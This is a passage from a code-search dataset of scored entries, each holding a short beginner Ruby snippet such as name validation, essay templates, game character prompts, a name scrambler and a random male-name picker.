ask_new_name\n return\n end\n\n data.capitalize!\n if $manager.player_exist? data\n output \"A character with that name already exists, please choose another.\"\n ask_new_name\n return\n elsif data.length > 20 or data.length < 3\n output \"Please choose a name less than 20 letters long but longer than 2 letters.\"\n ask_new_name\n return\n elsif data !~ /^[A-Z][a-z]+$/\n output \"Only letters a to z, please.\"\n ask_new_name\n return\n end\n\n @new_name = data\n ask_sex\n end", "title": "" }, { "docid": "94cb645ca6664aed035a1da01832f0ed", "score": "0.59143937", "text": "def favourite_drink name\r\n\tif name == \"Jean-Luc\"\r\n\t\t\"tea, Earl Grey, hot\"\r\n\telsif name == \"Kathryn\"\r\n\t\t\"coffee, black\"\r\n\telse\r\n\t\t\"perhaps...horchata?\"\r\n\tend\r\nend", "title": "" }, { "docid": "1b3b27b2694bd097c221ab33b425a3d4", "score": "0.5851678", "text": "def hate_steven?(name)\n if name == \"Steven\"\n \"OMG He's the worst\"\n else\n \"You cool\"\n end\n end", "title": "" }, { "docid": "cadad0221aa995e193fac5ebad4da1ac", "score": "0.5811709", "text": "def process_name\n\t\tlower_case_name = params[:input].downcase\n\t\tif lower_case_name == \"alex\" \n\t\t\t@name = \"Howdy\"\n\t\telsif lower_case_name == \"fitz\"\n\t\t\t@name = \"nice\"\n\t\telse\n\t\t\t@name = \"What are you staring at\"\n\t\tend\n\t\tRails.logger.info \"Lower case name was: \" + lower_case_name\t\t\t\t\n\tend", "title": "" }, { "docid": "2c58b31fd5d136c04fe55bca3ff4a724", "score": "0.57970023", "text": "def essay_writer(title, topic, date, thesis_statement, pronoun)\n if pronoun == \"male\"\n who = \"He\" \n whose = \"His\"\n whom = \"Him\"\n \n elsif pronoun == \"female\"\n who = \"She\"\n whose = \"Her\"\n whom = \"Her\"\n \n else\n who = \"It\"\n whose = \"Its\"\n whom = \"Its\"\n end\n \n return who + \" was an important person in \" + date.to_s + \". \" + who + \" did a lot. I want to learn more about him. \" + thesis_statement + \" \" + topic.to_s + \"'s contribution is important.\"\n \nend", "title": "" }, { "docid": "ab4aa93b876444a399642e98bfb0d50a", "score": "0.5776157", "text": "def human_and_human_player(size)\n\t@player1 = \"player\"\n @player2 = \"player\"\nend", "title": "" }, { "docid": "0720d4101907b7779e15ce69a9b92490", "score": "0.57641596", "text": "def generate_hero_name\n buffer\n hero = Hero.new\n line\n puts \"What is your hero's given name?\"\n line\n choice = gi_string\n hero.name = choice\n line\n puts \"#{hero.name} is the name you chose. If this is correct, press 1? Press 2 if not. Press 3 to go back.\"\n line\n choice = gi_integer\n if choice == 1\n generate_hero_alter_ego(hero)\n elsif choice == 2\n generate_hero_name\n elsif choice == 3\n hero_setup\n else line \n puts \"Your input was not recognized. Please begin this step again.\"\n line\n generate_hero_name\n end\n end", "title": "" }, { "docid": "d55b7dece5d82304b52a3bb037c9759d", "score": "0.57404655", "text": "def determine_heaven(heaven_data)\n\tcase heaven_data\n\twhen 1\n\t\t:heaven_is_real\n\twhen 2\n\t\t:heaven_is_a_lie\n\telse\n\t\t:unknown\n\tend\nend", "title": "" }, { "docid": "8824e1a2977f859926cdad2b9cc3aab9", "score": "0.5739328", "text": "def essay_writer(title, person, gender, place, topic, date, thesis)\n if (gender == \"male\")\n \treturn\n \t\t\"#{person} isn't really a #{title}. They wish they were born in #{place} but not as a #{gender}. The topic of their thesis was #{topic}, writen on #{date}, while drunk, and this is what they came up with #{thesis}\"\n elsif \n \treturn\n \t\t\"#{person} is really a #{title}. They were born in #{place} as a #{gender}. The topic of their thesis was #{topic}, writen on #{date}, this is what they came up with #{thesis}\"\n end \nend", "title": "" }, { "docid": "de0abf275df55ed68ab877c2317b717d", "score": "0.57183325", "text": "def determine_hell(hell_data)\n\tcase hell_data\n\twhen 1\n\t\t:hell_is_real\n\twhen 2\n\t\t:hell_is_a_lie\n\telse\n\t\t:unknown\n\tend\nend", "title": "" }, { "docid": "789899ed4b67a738f2f94bc4b558e0ad", "score": "0.57069445", "text": "def mood\n #it \"has a method 'mood' that returns 'happy' when the user is more happy than nauseous\" do\n if self.happiness && self.nausea\n if self.happiness > self.nausea\n \"happy\"\n #it \"has a method 'mood' that returns 'sad' when the user is more nauseous than happy\" do\n elsif self.happiness < self.nausea\n \"sad\"\n end\n end\n end", "title": "" }, { "docid": "f6b253036fa82ae416e64c4c4dc40cd4", "score": "0.5692494", "text": "def generate_villain_name\n buffer\n villain = Villain.new\n line\n puts \"What is your villain's given name?\"\n line\n choice = gi_string\n villain.name = choice\n line\n puts \"#{villain.name} is the name you chose. If this is correct, press 1? Press 2 if not. Press 3 to go back.\"\n line\n choice = gi_integer\n if choice == 1\n generate_villain_alter_ego(villain)\n elsif choice == 2\n generate_villain_name\n elsif choice == 3\n villain_setup\n else line\n puts \"Your input was not recognized. Please begin this step again.\"\n line\n generate_villain_name\n end\n end", "title": "" }, { "docid": "be04cb55a462491abd1acf5950c83572", "score": "0.5668709", "text": "def jack_handey; end", "title": "" }, { "docid": "9ddfcc45b4e93167b8e630c25d13158e", "score": "0.5660901", "text": "def gender_neutral_first_name; end", "title": "" }, { "docid": "3ecf778bb5ae6b19769079f121ef2386", "score": "0.5659389", "text": "def essay_writer (title, topic, date, gender,thesis_statement)\n if gender == \"female\"\n \tputs \"#{title}\n \t #{topic} is a super important woman in hip-hop history. In #{date}, she #{thesis_statement}. #{topic} contributed greatly \n \t to hip-hop music and her influence continues today.\"\n elsif gender == \"male\"\n puts \"#{title}\n \t #{topic} is a super important man in hip-hop history. In #{date}, he #{thesis_statement}. #{topic} contributed greatly \n \t to hip-hop music and his influence continues today.\"\n else \n \tputs \"no gender defined\"\n end\nend", "title": "" }, { "docid": "1d2fc05c15791bce39581790cb4365f2", "score": "0.56512684", "text": "def banana(name)\n\n# For names that start with vowels\nif name.downcase.start_with?('a','e','i','o','u')\n mod_name = name.downcase\n# For names that begin with a 2-letter consonant cluster\nelsif name.downcase.start_with?('bl', 'br', 'cl', 'cr', 'dr', 'fl', 'fr', 'gl', 'gr', 'pl', 'pr', 'sc', 'sk', 'sl', 'sm', 'sn', 'sp', 'st', 'sw', 'th', 'tr', 'ch')\n mod_name = name.slice(2..-1)\n# For names that begin with a 3-letter consonant cluster\nelsif name.downcase.start_with?('chr', 'thr', 'sch', 'scl', 'scr', 'shr', 'spl', 'spr', 'str', 'squ')\n mod_name = name.slice(3..-1)\n# For all other names\nelse\n mod_name = name.downcase.slice(1..-1)\nend\n\nif name.downcase == \"orange\"\n\tputs \"Nothing rhymes with orange.\"\nelse\nputs name.capitalize + \", \" + name.capitalize + \", bo-\" + (name.downcase.start_with?('b') ? mod_name.downcase.slice(0..-1) : \"b\"+mod_name) + \" \\r\\n\" + \n\"Banana-fana fo-\" + (name.downcase.start_with?('f') ? mod_name.downcase.slice(0..-1) : \"f\"+mod_name) + \" \\r\\n\" + \n\"Fee-Fi-mo-\" + (name.downcase.start_with?('m') ? mod_name.downcase.slice(0..-1) : \"m\"+mod_name) + \" \\r\\n\" + \nname.upcase + \"!\"\nend\n\nend", "title": "" }, { "docid": "274cbdab7470b0e4f2046eff3d01103d", "score": "0.56451315", "text": "def greeting(name:, salutation: 'Hi', volume: :low)\n greeting = \"#{salutation} there, #{name}\"\n volume == :high ? greeting.upcase : greeting\nend", "title": "" }, { "docid": "cb1470ed9f503020c41ed6aa47fd1eb3", "score": "0.5643447", "text": "def male_name\n\t%w[Aaron Abdul Abe Abel Abraham Abram Adalberto Adam Adan Adolfo Adolph Adrian Agustin Ahmad Ahmed Al Alan Albert Alberto Alden Aldo Alec Alejandro Alex Alexander Alexis Alfonso Alfonzo Alfred Alfredo Ali Allan Allen Alonso Alonzo Alphonse Alphonso Alton Alva Alvaro Alvin Amado Ambrose Amos Anderson Andre Andrea Andreas Andres Andrew Andy Angel Angelo Anibal Anthony Antione Antoine Anton Antone Antonia Antonio Antony Antwan Archie Arden Ariel Arlen Arlie Armand Armando Arnold Arnoldo Arnulfo Aron Arron Art Arthur Arturo Asa Ashley Aubrey August Augustine Augustus Aurelio Austin Avery Barney Barrett Barry Bart Barton Basil Beau Ben Benedict Benito Benjamin Bennett Bennie Benny Benton Bernard Bernardo Bernie Berry Bert Bertram Bill Billie Billy Blaine Blair Blake Bo Bob Bobbie Bobby Booker Boris Boyce Boyd Brad Bradford Bradley Bradly Brady Brain Branden Brandon Brant Brendan Brendon Brent Brenton Bret Brett Brian Brice Britt Brock Broderick Brooks Bruce Bruno Bryan Bryant Bryce Bryon Buck Bud Buddy Buford Burl Burt Burton Buster Byron Caleb Calvin Cameron Carey Carl Carlo Carlos Carlton Carmelo Carmen Carmine Carol Carrol Carroll Carson Carter Cary Casey Cecil Cedric Cedrick Cesar Chad Chadwick Chance Chang Charles Charley Charlie Chas Chase Chauncey Chester Chet Chi Chong Chris Christian Christoper Christopher Chuck Chung Clair Clarence Clark Claud Claude Claudio Clay Clayton Clement Clemente Cleo Cletus Cleveland Cliff Clifford Clifton Clint Clinton Clyde Cody Colby Cole Coleman Colin Collin Colton Columbus Connie Conrad Cordell Corey Cornelius Cornell Cortez Cory Courtney Coy Craig Cristobal Cristopher Cruz Curt Curtis Cyril Cyrus Dale Dallas Dalton Damian Damien Damion Damon Dan Dana Dane Danial Daniel Danilo Dannie Danny Dante Darell Daren Darin Dario Darius Darnell Daron Darrel Darrell Darren Darrick Darrin Darron Darryl Darwin Daryl Dave David Davis Dean Deandre Deangelo Dee Del Delbert Delmar Delmer Demarcus Demetrius Denis Dennis Denny Denver Deon Derek Derick Derrick Deshawn Desmond Devin Devon Dewayne Dewey Dewitt Dexter Dick Diego Dillon Dino Dion Dirk Domenic Domingo Dominic Dominick Dominique Don Donald Dong Donn Donnell Donnie Donny Donovan Donte Dorian Dorsey Doug Douglas Douglass Doyle Drew Duane Dudley Duncan Dustin Dusty Dwain Dwayne Dwight Dylan Earl Earle Earnest Ed Eddie Eddy Edgar Edgardo Edison Edmond Edmund Edmundo Eduardo Edward Edwardo Edwin Efrain Efren Elbert Elden Eldon Eldridge Eli Elias Elijah Eliseo Elisha Elliot Elliott Ellis Ellsworth Elmer Elmo Eloy Elroy Elton Elvin Elvis Elwood Emanuel Emerson Emery Emil Emile Emilio Emmanuel Emmett Emmitt Emory Enoch Enrique Erasmo Eric Erich Erick Erik Erin Ernest Ernesto Ernie Errol Ervin Erwin Esteban Ethan Eugene Eugenio Eusebio Evan Everett Everette Ezekiel Ezequiel Ezra Fabian Faustino Fausto Federico Felipe Felix Felton Ferdinand Fermin Fernando Fidel Filiberto Fletcher Florencio Florentino Floyd Forest Forrest Foster Frances Francesco Francis Francisco Frank Frankie Franklin Franklyn Fred Freddie Freddy Frederic Frederick Fredric Fredrick Freeman Fritz Gabriel Gail Gale Galen Garfield Garland Garret Garrett Garry Garth Gary Gaston Gavin Gayle Gaylord Genaro Gene Geoffrey George Gerald Geraldo Gerard Gerardo German Gerry Gil Gilbert Gilberto Gino Giovanni Giuseppe Glen Glenn Gonzalo Gordon Grady Graham Graig Grant Granville Greg Gregg Gregorio Gregory Grover Guadalupe Guillermo Gus Gustavo Guy Hai Hal Hank Hans Harlan Harland Harley Harold Harris Harrison Harry Harvey Hassan Hayden Haywood Heath Hector Henry Herb Herbert Heriberto Herman Herschel Hershel Hilario Hilton Hipolito Hiram Hobert Hollis Homer Hong Horace Horacio Hosea Houston Howard Hoyt Hubert Huey Hugh Hugo Humberto Hung Hunter Hyman Ian Ignacio Ike Ira Irvin Irving Irwin Isaac Isaiah Isaias Isiah Isidro Ismael Israel Isreal Issac Ivan Ivory Jacinto Jack Jackie Jackson Jacob Jacques Jae Jaime Jake Jamaal Jamal Jamar Jame Jamel James Jamey Jamie Jamison Jan Jared Jarod Jarred Jarrett Jarrod Jarvis Jason Jasper Javier Jay Jayson Jc Jean Jed Jeff Jefferey Jefferson Jeffery Jeffrey Jeffry Jerald Jeramy Jere Jeremiah Jeremy Jermaine Jerold Jerome Jeromy Jerrell Jerrod Jerrold Jerry Jess Jesse Jessie Jesus Jewel Jewell Jim Jimmie Jimmy Joan Joaquin Jody Joe Joel Joesph Joey John Johnathan Johnathon Johnie Johnnie Johnny Johnson Jon Jonah Jonas Jonathan Jonathon Jordan Jordon Jorge Jose Josef Joseph Josh Joshua Josiah Jospeh Josue Juan Jude Judson Jules Julian Julio Julius Junior Justin Kareem Karl Kasey Keenan Keith Kelley Kelly Kelvin Ken Kendall Kendrick Keneth Kenneth Kennith Kenny Kent Kenton Kermit Kerry Keven Kevin Kieth Kim King Kip Kirby Kirk Korey Kory Kraig Kris Kristofer Kristopher Kurt Kurtis Kyle Lacy Lamar Lamont Lance Landon Lane Lanny Larry Lauren Laurence Lavern Laverne Lawerence Lawrence Lazaro Leandro Lee Leif Leigh Leland Lemuel Len Lenard Lenny Leo Leon Leonard Leonardo Leonel Leopoldo Leroy Les Lesley Leslie Lester Levi Lewis Lincoln Lindsay Lindsey Lino Linwood Lionel Lloyd Logan Lon Long Lonnie Lonny Loren Lorenzo Lou Louie Louis Lowell Loyd Lucas Luciano Lucien Lucio Lucius Luigi Luis Luke Lupe Luther Lyle Lyman Lyndon Lynn Lynwood Mac Mack Major Malcolm Malcom Malik Man Manual Manuel Marc Marcel Marcelino Marcellus Marcelo Marco Marcos Marcus Margarito Maria Mariano Mario Marion Mark Markus Marlin Marlon Marquis Marshall Martin Marty Marvin Mary Mason Mathew Matt Matthew Maurice Mauricio Mauro Max Maximo Maxwell Maynard Mckinley Mel Melvin Merle Merlin Merrill Mervin Micah Michael Michal Michale Micheal Michel Mickey Miguel Mike Mikel Milan Miles Milford Millard Milo Milton Minh Miquel Mitch Mitchel Mitchell Modesto Mohamed Mohammad Mohammed Moises Monroe Monte Monty Morgan Morris Morton Mose Moses Moshe Murray Myles Myron Napoleon Nathan Nathanael Nathanial Nathaniel Neal Ned Neil Nelson Nestor Neville Newton Nicholas Nick Nickolas Nicky Nicolas Nigel Noah Noble Noe Noel Nolan Norbert Norberto Norman Normand Norris Numbers Octavio Odell Odis Olen Olin Oliver Ollie Omar Omer Oren Orlando Orval Orville Oscar Osvaldo Oswaldo Otha Otis Otto Owen Ozzie Pablo Palmer Paris Parker Pasquale Pat Patricia Patrick Paul Pedro Percy Perry Pete Peter Phil Philip Phillip Pierre Porfirio Porter Preston Prince Quentin Quincy Quinn Quintin Quinton Rafael Raleigh Ralph Ramiro Ramon Randal Randall Randell Randolph Randy Raphael Rashad Raul Ray Rayford Raymon Raymond Raymundo Reed Refugio Reggie Reginald Reid Reinaldo Renaldo Renato Rene Reuben Rex Rey Reyes Reynaldo Rhett Ricardo Rich Richard Richie Rick Rickey Rickie Ricky Rico Rigoberto Riley Rob Robbie Robby Robert Roberto Robin Robt Rocco Rocky Rod Roderick Rodger Rodney Rodolfo Rodrick Rodrigo Rogelio Roger Roland Rolando Rolf Rolland Roman Romeo Ron Ronald Ronnie Ronny Roosevelt Rory Rosario Roscoe Rosendo Ross Roy Royal Royce Ruben Rubin Rudolf Rudolph Rudy Rueben Rufus Rupert Russ Russel Russell Rusty Ryan Sal Salvador Salvatore Sam Sammie Sammy Samual Samuel Sandy Sanford Sang Santiago Santo Santos Saul Scot Scott Scottie Scotty Sean Sebastian Sergio Seth Seymour Shad Shane Shannon Shaun Shawn Shayne Shelby Sheldon Shelton Sherman Sherwood Shirley Shon Sid Sidney Silas Simon Sol Solomon Son Sonny Spencer Stacey Stacy Stan Stanford Stanley Stanton Stefan Stephan Stephen Sterling Steve Steven Stevie Stewart Stuart Sung Sydney Sylvester Tad Tanner Taylor Ted Teddy Teodoro Terence Terrance Terrell Terrence Terry Thad Thaddeus Thanh Theo Theodore Theron Thomas Thurman Tim Timmy Timothy Titus Tobias Toby Tod Todd Tom Tomas Tommie Tommy Toney Tony Tory Tracey Tracy Travis Trent Trenton Trevor Trey Trinidad Tristan Troy Truman Tuan Ty Tyler Tyree Tyrell Tyron Tyrone Tyson Ulysses Val Valentin Valentine Van Vance Vaughn Vern Vernon Vicente Victor Vince Vincent Vincenzo Virgil Virgilio Vito Von Wade Waldo Walker Wallace Wally Walter Walton Ward Warner Warren Waylon Wayne Weldon Wendell Werner Wes Wesley Weston Whitney Wilber Wilbert Wilbur Wilburn Wiley Wilford Wilfred Wilfredo Will Willard William Williams Willian Willie Willis Willy Wilmer Wilson Wilton Winford Winfred Winston Wm Woodrow Wyatt Xavier Yong Young Zachariah Zachary Zachery Zack Zackary Zane].sample\nend", "title": "" }, { "docid": "81cb5afe7ebd3fb05e8bf53c30f224ae", "score": "0.5640482", "text": "def set_name\n\t\tresponse = false\n\t\twhile not response\n\t\t\tputs \"What is your name?\"\n\t\t\tresponse = gets.chomp.downcase.capitalize!\n\t\t\t# entry_ok?(response) # Need to implement is_alpha check \n\t\tend\n\t\tresponse\n\tend", "title": "" }, { "docid": "1ceb7effec5b29a8af4d8f06a770a7c5", "score": "0.56333613", "text": "def user_info \n\tputs \"INTERIOR DECORATIONS\"\n\tputs \"--------------------\"\n\tputs \"Welcome! Please answer the below questions.\"\n\tuser_details = Hash.new\n\tputs \"Enter your Frist name: \"\n\tuser_details[:first_name] = gets.chomp\n\tputs \"Enter your Last name: \"\n\tuser_details[:last_name] = gets.chomp\n\tputs \"What is your age: \"\n\tuser_details[:age] = gets.chomp.to_i\n\tputs \"How many family members are staying in your house? (number): \"\n\tuser_details[:family_members] = gets.chomp.to_i\n\tputs \"Have you ever done interior decoration for your home?( y / n ): \"\n\tuser_details[:interior_decoration_history] = gets.chomp\n\tuntil user_details[:interior_decoration_history].upcase == \"Y\" || user_details[:interior_decoration_history].upcase == \"N\" \n\t\tif user_details[:interior_decoration_history].upcase == \"Y\" \n\t\t\tuser_details[:interior_decoration_history] = true\n\t\telsif user_details[:interior_decoration_history].upcase == \"N\" \n\t\t\tuser_details[:interior_decoration_history] = false\n\t\telse\n\t\t\tputs \"Please enter a valid data. Type (y/n): \"\t\n\t\t\tuser_details[:interior_decoration_history] = gets.chomp\n\t\tend\n\tend \n puts \"Are you the landlord or a tenant ?: (L / T )\"\n user_details[:owner_type] = gets.chomp\n if user_details[:owner_type].upcase == \"L\"\n \tuser_details[:owner_type] = \"I'm the landlord\"\n elsif user_details[:owner_type].upcase == \"T\"\n \tuser_details[:owner_type] = \"I'm a tenant\"\n else\n \tuser_details[:owner_type] = \"Not mentioned / Invalid data\" \n end\n puts \"What is your favorite interior decoration theme?\"\n fav_decor = [\"American Traditional\",\"Art Nouveau\",\"Inidan\",\"Modern\",\"French\",\"Medieval\"]\n puts fav_decor\n puts \"Enter your option from the list or type your own option or (none)\"\n user_details[:decor_theme] = gets.chomp\n info_display(user_details)\nend", "title": "" }, { "docid": "e04e7370f568b2839299c0553fa18eb0", "score": "0.56253326", "text": "def are_you_or_is_guardian_name\n guard_name = response_for(\"#{OperationalDataExtractor::ParticipantVerification::INTERVIEW_CHILD_PREFIX}.G_FNAME\") + ' ' +\n response_for(\"#{OperationalDataExtractor::ParticipantVerification::INTERVIEW_CHILD_PREFIX}.G_MNAME\") + ' ' +\n response_for(\"#{OperationalDataExtractor::ParticipantVerification::INTERVIEW_CHILD_PREFIX}.G_LNAME\")\n guard_name.blank? ? 'are you' : \"is #{guard_name}\"\n end", "title": "" }, { "docid": "f64337f68710b6e55a87e68bde8c4693", "score": "0.5618904", "text": "def king_richard_iii; end", "title": "" }, { "docid": "959a42a41661384453670f78452da2ed", "score": "0.5606558", "text": "def check_values(user_hash)\n flag = 0\n feedback = \"\"\n detail = \"\"\n user_hash.each do |key, value|\n flag = 2 if key == \"age\" && value.to_i > 120\n (flag = 3; detail = key) if key !~ /quote/ && value.length > 20\n flag = 4 if key == \"quote\" && value.length > 80\n flag = 5 if key == \"name\" && value =~ /[^a-zA-Z ]/\n (flag = 6; detail = key) if key =~ /age|n1|n2|n3/ && value =~ /[^0-9.,]/\n end\n # users = get_names()\n # users.each { |user| flag = 1 if user == user_hash[\"name\"]}\n flag = 7 if validate_file(user_hash) == false\n case flag\n # when 1 then feedback = \"We already have details for that person - please enter a different person.\"\n when 2 then feedback = \"I don't think you're really that old - please try again.\"\n when 3 then feedback = \"The value for '#{detail}' is too long - please try again with a shorter value.\"\n when 4 then feedback = \"Your quote is too long - please try again with a shorter value.\"\n when 5 then feedback = \"Your name should only contain letters - please try again.\"\n when 6 then feedback = \"The value for '#{detail}' should only have numbers - please try again.\"\n when 7 then feedback = \"Invalid image file - please upload a valid image in BMP, GIF, JPG, PNG or TIFF format.\"\n end\n return feedback\nend", "title": "" }, { "docid": "1719e8b8990f633d599980c2415fdfb8", "score": "0.55990785", "text": "def name_scrambler\r\n\t\r\n\r\n\tscrambled_names = {}\r\n\tputs \"What is your first and last name?\"\r\n\tuser_name = gets.chomp \r\n\twhile user_name != \"quit\" && user_name != \"\" \r\n\t\tnew_name = user_name.downcase.split(' ').reverse!.join(' ')\r\n\t\tname_to_array = new_name.chars\r\n\t\t# This takes the string version of the name and makes it into an \tarray, with each letter separated. \r\n\t\tconsonants = %w{b c d f g h j k l m n p q r s t v w x y z}\r\n\t\tvowels = %w{a e i o u}\r\n\t\t# Setting the new strings we want our conditions to match\r\n\t\tname_to_array.map! do |letter| \r\n\t\t\tif letter == \"u\"\r\n\t\t\t\tletter = \"a\"\r\n \t\t\telsif vowels.include?(letter)\r\n \t\t\t\t# if the letter returns a true value(is a vowel), re\t-assign a new index to that letter (advanced by 1)\r\n \t\t\t\tnew_vowel_index = vowels.index(letter) + 1\r\n \t\t\t\tnew_vowel = vowels[new_vowel_index]\r\n\t\t\telsif letter == \"z\"\r\n\t\t\t\tletter = \"b\"\r\n\t\t\telsif consonants.include?(letter)\r\n\t\t\t\tnew_consonant_index = consonants.index(letter) + 1\r\n\t\t\t\tnew_consonant = consonants[new_consonant_index]\r\n\t\t\telse \r\n\t\t\t\tletter # Accounts for spaces\r\n\t\t\tend\t\t\r\n\t\tend\r\n\t\t#re capitalize by joining the indiv. letters, splitting into first \tand last, capitalizing, and rejoining\r\n\t\tscrambled_name = name_to_array.join('').split(\" \").each{|i| i\t.capitalize!}.join(\" \")\r\n\t\tscrambled_names[user_name] = scrambled_name\r\n\t\tuser_name = gets.chomp #assigns new input to user_name to see if it should loop back to begining or quit\r\n\t\tend \r\nscrambled_names.each do |user_name, scrambled_name|\r\n\tputs \"#{scrambled_name} is more commonly known as #{user_name}\"\r\nend \r\nend", "title": "" }, { "docid": "4dd8a30787f41d86aebf34961bf3e962", "score": "0.5585908", "text": "def generate_villain_gender(villain)\n buffer\n line\n puts \"Is your villain male, female, or any other?\"\n line\n choice = gi_string\n villain.gender = choice\n line\n puts \"Your villain's gender is #{villain.gender}. If this is correct, press 1. Press 2 if not. Press 3 to go back.\"\n line\n choice = gi_integer\n if choice == 1\n generate_villain_race(villain)\n elsif choice == 2\n generate_villain_gender(villain)\n elsif choice == 3\n generate_villain_hp(villain)\n else line\n puts \"Your input was not recognized. Please begin this step again.\"\n line\n generate_villain_gender(villain)\n end\n end", "title": "" }, { "docid": "9325c2502deb6a17c985db1c38133631", "score": "0.5585624", "text": "def my_guesses(my_name, gueeses) #<-- When we call the method, we have to write two parameters like this.... my_guess(\"Anthony\", \"friend\")\n if guesses #<-- If there is guesses\n \"Juan\" # <-- give me this String.... NOTICE we didn't have to set it to a variable.\n else\n \"Ordaz\" #<-- If there is No guesses, print this String.\n end\n #<-- We don't have to write guesses variable to get something in return. The \" Method\" does it for us\n end", "title": "" }, { "docid": "07facb91d0b0b5fe0f3b89de927ec0e8", "score": "0.5580151", "text": "def fit_name_by_pairing\r\n # Changed for Pairing Logic\r\n if pairing > 4\r\n return \"Best\"\r\n elsif pairing > 3 and pairing <= 4\r\n return \"Better\"\r\n elsif pairing > 2 and pairing <= 3\r\n return \"Good\"\r\n else\r\n return \"Wildcard\"\r\n end\r\n #End\r\n end", "title": "" }, { "docid": "98adde22264cedfb634e6d1d65dc9df0", "score": "0.55799574", "text": "def essay_writer(title, person, date, thesis_statement, gender)\n\nif gender == \"female\"\n pronoun_1 = \"she\"\n pronoun_2 = \"her\" \nelse \n pronoun_1 = \"he\"\n pronoun_2 = \"his\"\nend \n \n\"#{title}\n \n #{person.capitalize} was important in #{date}. #{pronoun_1.capitalize} were great because of #{pronoun_2} work. #{thesis_statement}.\" \n \n end", "title": "" }, { "docid": "ec31b6680dc2757c4829914f103a5f87", "score": "0.5579447", "text": "def scoring(answer)\n# everytime someone chooses a certain letter than 1 will be added on to their behind the senses score \n if answer == \"a\"\n @@action += 1\n elsif answer == \"b\"\n @@romance += 1\n elsif answer == \"c\"\n @@horror += 1\n elsif answer == \"d\"\n @@family += 1\n elsif answer == \"e\"\n @@comedy += 1\n else\n return \"nothing\"\n end\n\nend", "title": "" }, { "docid": "4c959cb38a9950bd99762731f2d48dc2", "score": "0.5577214", "text": "def user_name (name, password)\n if name == password\n 'name and password cannot be the same.'\n elseif name.length < 6 && password.length < 6\n \"names and passwords must be atleast 6 characters long\"\n elseif password.include? ('!''#''$') == false \n 'password must contain at least one of the following \"!, #, $\"'\n elseif name.include? ('!''#''$'' ') == true\n \"ID's connot contain '!, #, $, '\"\n elseif password == 'password'\n 'your password cannot be password'\n end\nend", "title": "" }, { "docid": "ba69720b2326d4c5b1496272f4b0b7a6", "score": "0.5564819", "text": "def drink_test(age, sex)\n if age >= 21\n response = \"You can drink\"\n elsif age > 18 or sex == \"female\"\n response = \"You can probably drink with fake id\"\n else\n response = \"You can't drink\"\n end\n return response\nend", "title": "" }, { "docid": "463735d4cdbc034fe87d4deaaa3a1170", "score": "0.55646133", "text": "def favourite_food name\r\n\tif name == \"Lister\"\r\n\t\treturn \"vindaloo\"\r\n\tend\r\n\r\n\tif name == \"Rimmer\"\r\n\t\treturn \"mashed potatoes\"\r\n\tend\r\n\r\n\t\"hard to say...maybe fired plantain?\"\r\nend", "title": "" }, { "docid": "6799b8fe763bc5b1995b1490c8a65eb1", "score": "0.5560963", "text": "def training_recommendation(hand, double, split)\n rec = hand.recommendation(@dealer.hand.public_count)\n if :H == rec\n \"You should probably hit.\"\n elsif :S == rec\n \"You might want to stand.\"\n elsif :P == rec && split\n \"Splitting would be wise.\"\n elsif :P == rec # && !split\n \"Splitting would be wise, if you could afford a second hand. You're on your own for this one.\"\n elsif :DH == rec && double\n \"Definitely double down.\"\n elsif :DH == rec # && !double\n \"You should probably hit.\"\n elsif :DS == rec && double\n \"Definitely double down.\"\n elsif :DS == rec # && !double\n \"You might want to stand.\"\n else\n \"There was an error calculating the recommendation.\"\n end\n end", "title": "" }, { "docid": "41ed95b7474761bfd44d9b5f106217eb", "score": "0.55596423", "text": "def grader (user_grade)\n if user_grade > 1\n elsif user_grade < 0.6\n return \"F\"\n elsif user_grade >= 9.0\n return \"A\"\n elsif user_grade >= 0.8\n return \"B\"\n elsif user_grade >= 0.7\n return \"C\"\n\n end\n\n#Write a method smash that takes an array of words and smashes them together into a sentence and returns the sentence.\ndef smash (words)\n \"#{words}\".chomp\nend\nend", "title": "" }, { "docid": "fa12cc7f7900a5c514593fd8a2befb83", "score": "0.55591035", "text": "def printAskUserInstr(player,dealer,hand)\n puts dealer.printHands(true)\n puts player.printHands\n puts \"Player \" + player.getName + \", what would you like to do on Hand \" + hand.getName + \"?\"\n if hand.isFirstTurn and (player.getHands.length == 1)\n puts \"'dd'=doubledown 'split'=split 'surr'=surrender 'hit'=hit 'stay'=stay\"\n elsif hand.isFirstTurn and player.canSplit\n \tputs \"dd'=doubledown 'split'=split 'hit'=hit 'stay'=stay\"\n elsif hand.isFirstTurn\n puts \"dd'=doubledown 'hit'=hit 'stay'=stay\"\n else\n puts \"'hit'=hit 'stay'=stay\"\n end\nend", "title": "" }, { "docid": "516105195e0a3679a66f0cf4146683be", "score": "0.5549138", "text": "def human_player_and_ai(size)\n\tif first?()\n @player1 = \"player\"\n @player2 = difficulty(size,\"o\")\n else\n @player1 = difficulty(size,\"x\")\n @player2 = \"player\"\n end\nend", "title": "" }, { "docid": "f04f7fd249ccbdcf1fda8edc9d5b7a94", "score": "0.55387443", "text": "def helps\n puts \"id - unique incrementing number\"\n puts \"rid - unique random interger\"\n puts \"surname - surname from the list\"\n puts \"name - name from the list\"\n puts \"post - montreal like post code\"\n puts \"age - age from 14 to 54\"\n puts \"phone - random phone XXX-XXXX\"\n puts \"alpha - random lowercase character\"\n puts \"ALPHA - random uppercase character\"\n puts \"num - random numner 0->9\"\n puts \"date - random date\"\n puts \"time - random time\"\n puts \"space - [unstable] adds a space\"\n puts \"null - [unstable] adds null token\"\n puts \"word - random word from list\"\n puts \"range - random range from x to y. Use like this: 12range40\"\n puts \"list - random selection from a list. Use like this: list=a,v,word,1,4\"\n puts \"man - manual entry. Use like this: man=1234\"\n puts \"back - a backspace. Use with words\"\n puts \"nodelim - no delimiter to join two options\"\n puts \"% - shorthand for nodelim\" \n puts \"times - an option x times eg: 10times man=1234\"\n puts \" Command Format: \"\n puts \" 10 10times man=1234 name surname\"\n end", "title": "" }, { "docid": "ae15f62294701148b998d3bc312b37af", "score": "0.55344594", "text": "def my_guesses(my_name, guesses) #<-- When we call the method, we have to write two parameters like this.... my_guess(\"Anthony\", \"friend\")\n if guesses #<-- if there is a guesses, than\n guess = \"Juan\" #<-- print the guess's values, which is \"Juan\"\n else\n guess = \"Ordaz\" #<-- if there is not a guesses, print this guess's value, which is \"Ordaz\".... We are repeating our-selves again. NOT GOOD!!\n end\n guesses #<-- return what ever guesses is (either \"Juan\" or \"Ordaz\"), We don't need to write this, I will explain in the bottom lines\n end", "title": "" }, { "docid": "b23ab2f9a3f29a0a97dcfa3b87077c53", "score": "0.55343604", "text": "def request_name\n\talias_store = {}\n\tspy_name = ''\n\tuntil spy_name == 'quit'\n\t\tp \"Please enter the name of the person who is NOT a spy ;) - otherwise type 